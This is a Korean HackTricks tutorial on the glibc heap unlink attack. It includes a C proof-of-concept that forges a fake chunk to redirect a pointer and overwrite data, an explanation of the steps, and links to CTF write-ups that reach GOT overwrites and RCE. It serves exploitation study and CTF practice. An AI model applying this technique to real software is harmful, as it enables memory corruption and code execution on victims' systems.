Unlink Attack

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Basic Information

์ด ๊ณต๊ฒฉ์ด ๋ฐœ๊ฒฌ๋˜์—ˆ์„ ๋•Œ, ์ฃผ๋กœ WWW (Write What Where)๋ฅผ ํ—ˆ์šฉํ–ˆ์ง€๋งŒ, ๋ช‡ ๊ฐ€์ง€ ๊ฒ€์‚ฌ๊ฐ€ ์ถ”๊ฐ€๋˜์–ด ๊ณต๊ฒฉ์˜ ์ƒˆ๋กœ์šด ๋ฒ„์ „์ด ๋” ํฅ๋ฏธ๋กญ๊ณ  ๋” ๋ณต์žกํ•˜๋ฉฐ ๋ฌด์šฉ์ง€๋ฌผ์ด ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

Code Example:

Code ```c #include #include #include #include

// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work

struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding };

int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20];

// First grab two chunks (non fast) chunk1 = malloc(0x8000); chunk2 = malloc(0x8000); printf(โ€œStack pointer to chunk1: %p\nโ€, &chunk1); printf(โ€œChunk1: %p\nโ€, chunk1); printf(โ€œChunk2: %p\nโ€, chunk2);

// Assuming attacker has control over chunk1โ€™s contents // Overflow the heap, override chunk2โ€™s header

// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->size = 0x8000; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

// Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x8000; // chunk1โ€™s data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit

// Now, when chunk2 is freed, attackerโ€™s fake chunk is โ€˜unlinkedโ€™ // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victimโ€™s data free(chunk2); printf(โ€œChunk1: %p\nโ€, chunk1); printf(โ€œChunk1[3]: %x\nโ€, chunk1[3]);

chunk1[3] = (unsigned long long)data;

strcpy(data, โ€œVictimโ€™s dataโ€);

// Overwrite victimโ€™s data using chunk1 chunk1[0] = 0x002164656b636168LL;

printf(โ€œ%s\nโ€, data);

return 0; }

</details>

- tcaches๊ฐ€ ์‚ฌ์šฉ๋˜๋ฉด ๊ณต๊ฒฉ์ด ์ž‘๋™ํ•˜์ง€ ์•Š์Œ (2.26 ์ดํ›„)

### ๋ชฉํ‘œ

์ด ๊ณต๊ฒฉ์€ **์ฒญํฌ์— ๋Œ€ํ•œ ํฌ์ธํ„ฐ๋ฅผ ์ž์‹ ๋ณด๋‹ค 3 ์ฃผ์†Œ ์•ž์„ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค**. ์ด ์ƒˆ๋กœ์šด ์œ„์น˜(ํฌ์ธํ„ฐ๊ฐ€ ์œ„์น˜ํ–ˆ๋˜ ์ฃผ๋ณ€)์— ๋‹ค๋ฅธ ์ œ์–ด ๊ฐ€๋Šฅํ•œ ํ• ๋‹น/์Šคํƒ๊ณผ ๊ฐ™์€ ํฅ๋ฏธ๋กœ์šด ๋‚ด์šฉ์ด ์žˆ๋‹ค๋ฉด, ์ด๋ฅผ ์ฝ๊ฑฐ๋‚˜ ๋ฎ์–ด์จ์„œ ๋” ํฐ ํ”ผํ•ด๋ฅผ ์ค„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

- ์ด ํฌ์ธํ„ฐ๊ฐ€ ์Šคํƒ์— ์œ„์น˜ํ•ด ์žˆ์—ˆ๋‹ค๋ฉด, ์ด์ œ ์ž์‹ ๋ณด๋‹ค 3 ์ฃผ์†Œ ์•ž์„ ๊ฐ€๋ฆฌํ‚ค๊ณ  ์‚ฌ์šฉ์ž๊ฐ€ ์ด๋ฅผ ์ฝ๊ณ  ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ์Šคํƒ์—์„œ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์œ ์ถœํ•˜๊ฑฐ๋‚˜ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์•„๋งˆ๋„) ์บ”์„ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š๊ณ .
- CTF ์˜ˆ์ œ์—์„œ๋Š” ์ด ํฌ์ธํ„ฐ๊ฐ€ ๋‹ค๋ฅธ ํ• ๋‹น์— ๋Œ€ํ•œ ํฌ์ธํ„ฐ ๋ฐฐ์—ด์— ์œ„์น˜ํ•ด ์žˆ์œผ๋ฏ€๋กœ, 3 ์ฃผ์†Œ ์•ž์„ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ๋งŒ๋“ค๊ณ  ์ด๋ฅผ ์ฝ๊ณ  ์“ธ ์ˆ˜ ์žˆ๊ฒŒ ๋˜๋ฉด, ๋‹ค๋ฅธ ํฌ์ธํ„ฐ๊ฐ€ ๋‹ค๋ฅธ ์ฃผ์†Œ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\
์‚ฌ์šฉ์ž๊ฐ€ ๋‹ค๋ฅธ ํ• ๋‹น๋„ ์ฝ๊ณ  ์“ธ ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ์ •๋ณด๋ฅผ ์œ ์ถœํ•˜๊ฑฐ๋‚˜ ์ž„์˜์˜ ์œ„์น˜(์˜ˆ: GOT)์— ์ƒˆ๋กœ์šด ์ฃผ์†Œ๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

### ์š”๊ตฌ ์‚ฌํ•ญ

- ๋ช‡ ๊ฐœ์˜ ์ฒญํฌ๋ฅผ ์ƒ์„ฑํ•˜๊ธฐ ์œ„ํ•ด ๋ฉ”๋ชจ๋ฆฌ(์˜ˆ: ์Šคํƒ)์— ๋Œ€ํ•œ ์ผ๋ถ€ ์ œ์–ด๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.
- ๊ฐ€์งœ ์ฒญํฌ์˜ ํฌ์ธํ„ฐ๋ฅผ ์„ค์ •ํ•˜๊ธฐ ์œ„ํ•œ ์Šคํƒ ์œ ์ถœ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

### ๊ณต๊ฒฉ

- ๋‘ ๊ฐœ์˜ ์ฒญํฌ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค(์ฒญํฌ1 ๋ฐ ์ฒญํฌ2).
- ๊ณต๊ฒฉ์ž๋Š” ์ฒญํฌ1์˜ ๋‚ด์šฉ์„ ์ œ์–ดํ•˜๊ณ  ์ฒญํฌ2์˜ ํ—ค๋”๋ฅผ ์ œ์–ดํ•ฉ๋‹ˆ๋‹ค.
- ์ฒญํฌ1์—์„œ ๊ณต๊ฒฉ์ž๋Š” ๊ฐ€์งœ ์ฒญํฌ์˜ ๊ตฌ์กฐ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค:
- ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด `size` ํ•„๋“œ๊ฐ€ ์˜ฌ๋ฐ”๋ฅธ์ง€ ํ™•์ธํ•˜์—ฌ ์˜ค๋ฅ˜: `corrupted size vs. prev_size while consolidating`๋ฅผ ํ”ผํ•ฉ๋‹ˆ๋‹ค.
- ๊ทธ๋ฆฌ๊ณ  ๊ฐ€์งœ ์ฒญํฌ์˜ `fd` ๋ฐ `bk` ํ•„๋“œ๋Š” ์ฒญํฌ1 ํฌ์ธํ„ฐ๊ฐ€ ์ €์žฅ๋œ ์œ„์น˜๋ฅผ ๊ฐ๊ฐ -3 ๋ฐ -2์˜ ์˜คํ”„์…‹์œผ๋กœ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ์„ค์ •ํ•˜์—ฌ `fake_chunk->fd->bk` ๋ฐ `fake_chunk->bk->fd`๊ฐ€ ์ฒญํฌ1 ์ฃผ์†Œ๊ฐ€ ์œ„์น˜ํ•œ ๋ฉ”๋ชจ๋ฆฌ(์Šคํƒ)์˜ ์œ„์น˜๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค:

<figure><img src="../../images/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>

- ์ฒญํฌ2์˜ ํ—ค๋”๋Š” ์ด์ „ ์ฒญํฌ๊ฐ€ ์‚ฌ์šฉ๋˜์ง€ ์•Š์Œ์„ ๋‚˜ํƒ€๋‚ด๊ณ  ๊ฐ€์งœ ์ฒญํฌ์˜ ํฌ๊ธฐ๋ฅผ ํฌํ•จ๋œ ํฌ๊ธฐ๋กœ ์ˆ˜์ •๋ฉ๋‹ˆ๋‹ค.
- ๋‘ ๋ฒˆ์งธ ์ฒญํฌ๊ฐ€ ํ•ด์ œ๋˜๋ฉด ์ด ๊ฐ€์งœ ์ฒญํฌ๊ฐ€ ์—ฐ๊ฒฐ ํ•ด์ œ๋˜์–ด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ผ์ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค:
- `fake_chunk->fd->bk` = `fake_chunk->bk`
- `fake_chunk->bk->fd` = `fake_chunk->fd`
- ์ด์ „์— `fake_chunk->fd->bk`์™€ `fake_chunk->bk->fd`๊ฐ€ ๊ฐ™์€ ์œ„์น˜(์ฒญํฌ1์ด ์ €์žฅ๋œ ์Šคํƒ์˜ ์œ„์น˜)๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ์„ค์ •๋˜์—ˆ์œผ๋ฏ€๋กœ ์œ ํšจํ•œ ์—ฐ๊ฒฐ ๋ฆฌ์ŠคํŠธ์˜€์Šต๋‹ˆ๋‹ค. **๋‘ ๊ฐœ๊ฐ€ ๊ฐ™์€ ์œ„์น˜๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์—** ๋งˆ์ง€๋ง‰ ๊ฒƒ(`fake_chunk->bk->fd = fake_chunk->fd`)๋งŒ **ํšจ๊ณผ**๋ฅผ ๊ฐ€์ง‘๋‹ˆ๋‹ค.
- ์ด๋Š” **์Šคํƒ์—์„œ ์ฒญํฌ1์— ๋Œ€ํ•œ ํฌ์ธํ„ฐ๋ฅผ ์Šคํƒ์—์„œ 3 ์ฃผ์†Œ ์•ž์— ์ €์žฅ๋œ ์ฃผ์†Œ(๋˜๋Š” ๋ฐ”์ดํŠธ)๋กœ ๋ฎ์–ด์”๋‹ˆ๋‹ค**.
- ๋”ฐ๋ผ์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ์ฒญํฌ1์˜ ๋‚ด์šฉ์„ ๋‹ค์‹œ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, **์Šคํƒ ๋‚ด๋ถ€์— ์“ธ ์ˆ˜ ์žˆ๊ฒŒ ๋˜์–ด ์บ”์„ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š๊ณ  ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ฎ์–ด์“ฐ๊ณ  ์ง€์—ญ ๋ณ€์ˆ˜์˜ ๊ฐ’๊ณผ ํฌ์ธํ„ฐ๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ์‹ฌ์ง€์–ด ์Šคํƒ์— ์ €์žฅ๋œ ์ฒญํฌ1์˜ ์ฃผ์†Œ๋ฅผ ๋‹ค๋ฅธ ์œ„์น˜๋กœ ์ˆ˜์ •ํ•˜์—ฌ ๊ณต๊ฒฉ์ž๊ฐ€ ์ฒญํฌ1์˜ ๋‚ด์šฉ์„ ๋‹ค์‹œ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ์–ด๋””๋“  ์“ธ ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.
- ์ด๋Š” **์ฃผ์†Œ๊ฐ€ ์Šคํƒ์— ์ €์žฅ๋˜๊ธฐ ๋•Œ๋ฌธ์— ๊ฐ€๋Šฅํ–ˆ์Šต๋‹ˆ๋‹ค**. ์œ„ํ—˜๊ณผ ์•…์šฉ์€ **๊ฐ€์งœ ์ฒญํฌ์— ๋Œ€ํ•œ ์ฃผ์†Œ๊ฐ€ ์–ด๋””์— ์ €์žฅ๋˜๋Š”์ง€์— ๋”ฐ๋ผ ๋‹ฌ๋ผ์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**.

<figure><img src="../../images/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>

## ์ฐธ๊ณ  ๋ฌธํ—Œ

- [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit)
- CTF์—์„œ unlink ๊ณต๊ฒฉ์„ ์ฐพ๋Š” ๊ฒƒ์€ ์ด์ƒํ•˜๊ฒ ์ง€๋งŒ, ์ด ๊ณต๊ฒฉ์ด ์‚ฌ์šฉ๋œ ๋ช‡ ๊ฐ€์ง€ ์ž‘์„ฑ๋ฌผ์ด ์žˆ์Šต๋‹ˆ๋‹ค:
- CTF ์˜ˆ์ œ: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
- ์ด ์˜ˆ์ œ์—์„œ๋Š” ์Šคํƒ ๋Œ€์‹  malloc๋œ ์ฃผ์†Œ์˜ ๋ฐฐ์—ด์ด ์žˆ์Šต๋‹ˆ๋‹ค. unlink ๊ณต๊ฒฉ์ด ์ˆ˜ํ–‰๋˜์–ด ์—ฌ๊ธฐ์—์„œ ์ฒญํฌ๋ฅผ ํ• ๋‹นํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋˜์–ด malloc๋œ ์ฃผ์†Œ ๋ฐฐ์—ด์˜ ํฌ์ธํ„ฐ๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ ์ด๋Ÿฌํ•œ ์ฃผ์†Œ์˜ ์ฒญํฌ ๋‚ด์šฉ์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š” ๋˜ ๋‹ค๋ฅธ ๊ธฐ๋Šฅ์ด ์žˆ์–ด GOT์˜ ์ฃผ์†Œ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ณ , ํ•จ์ˆ˜ ์ฃผ์†Œ๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ ์œ ์ถœ ๋ฐ RCE๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
- ๋˜ ๋‹ค๋ฅธ CTF ์˜ˆ์ œ: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
- ์ด์ „ ์˜ˆ์ œ์™€ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ํ• ๋‹น ์ฃผ์†Œ์˜ ๋ฐฐ์—ด์ด ์žˆ์Šต๋‹ˆ๋‹ค. unlink ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜์—ฌ ์ฒซ ๋ฒˆ์งธ ํ• ๋‹น์˜ ์ฃผ์†Œ๊ฐ€ ๋ฐฐ์—ด ์‹œ์ž‘ ๋ช‡ ์œ„์น˜ ์•ž์„ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ํ•˜๊ณ  ์ด ํ• ๋‹น์„ ์ƒˆ๋กœ์šด ์œ„์น˜์— ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋‹ค๋ฅธ ํ• ๋‹น์˜ ํฌ์ธํ„ฐ๋ฅผ GOT์˜ atoi๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ๋ฎ์–ด์“ฐ๊ณ  ์ด๋ฅผ ์ถœ๋ ฅํ•˜์—ฌ libc ์œ ์ถœ์„ ์–ป์€ ๋‹ค์Œ atoi GOT๋ฅผ ์›๊ฐ€์ ฏ์˜ ์ฃผ์†Œ๋กœ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
- unlink ๊ณต๊ฒฉ๊ณผ ๋งค์šฐ ์œ ์‚ฌํ•œ ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๋Š” ์‚ฌ์šฉ์ž ์ •์˜ malloc ๋ฐ free ํ•จ์ˆ˜๊ฐ€ ์žˆ๋Š” CTF ์˜ˆ์ œ: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
- FD ๋ฐ BK ํฌ์ธํ„ฐ๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋Š” ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ์žˆ์œผ๋ฉฐ, ์‚ฌ์šฉ์ž ์ •์˜ malloc์ด (์‚ฌ์šฉ์ž ์ •์˜) ํ•ด์ œ๋ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ ํž™์— exec ๋น„ํŠธ๊ฐ€ ์žˆ์–ด ํž™ ์ฃผ์†Œ๋ฅผ ์œ ์ถœํ•˜๊ณ  GOT์˜ ํ•จ์ˆ˜๋ฅผ ํž™ ์ฒญํฌ์— ์žˆ๋Š” ์‰˜์ฝ”๋“œ๋กœ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

> [!TIP]
> AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks ์ง€์›ํ•˜๊ธฐ</summary>
>
> - [**๊ตฌ๋… ๊ณ„ํš**](https://github.com/sponsors/carlospolop) ํ™•์ธํ•˜๊ธฐ!
> - **๐Ÿ’ฌ [**๋””์Šค์ฝ”๋“œ ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋˜๋Š” [**ํ…”๋ ˆ๊ทธ๋žจ ๊ทธ๋ฃน**](https://t.me/peass)์— ์ฐธ์—ฌํ•˜๊ฑฐ๋‚˜ **ํŠธ์œ„ํ„ฐ** ๐Ÿฆ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**๋ฅผ ํŒ”๋กœ์šฐํ•˜์„ธ์š”.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นƒํ—ˆ๋ธŒ ๋ฆฌํฌ์ง€ํ† ๋ฆฌ์— PR์„ ์ œ์ถœํ•˜์—ฌ ํ•ดํ‚น ํŠธ๋ฆญ์„ ๊ณต์œ ํ•˜์„ธ์š”.**
>
> </details>